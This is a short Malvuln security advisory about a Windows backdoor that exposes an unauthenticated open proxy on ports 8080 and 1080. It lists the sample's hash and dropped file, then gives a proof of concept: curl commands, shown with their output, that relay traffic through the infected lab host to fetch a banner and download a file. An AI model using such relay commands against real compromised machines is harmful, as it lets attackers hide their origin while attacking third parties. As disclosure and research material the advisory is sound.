Friday, October 29, 2021

HEUR.Backdoor.Win32.Generic Unauthenticated Open Proxy

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6a96fc226fbe9f0efbcc8a7b2e34b807.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: HEUR.Backdoor.Win32.Generic
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 8080, 1080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: 6a96fc226fbe9f0efbcc8a7b2e34b807
Vuln ID: MVID-2021-0378
Dropped files: ssytme
Disclosure: 10/27/2021

Exploit/PoC:
curl http://192.168.18.125:8080 -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.

curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128" --output DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24576 100 24576 0 0 24576 0 0:00:01 --:--:-- 0:00:01 380k

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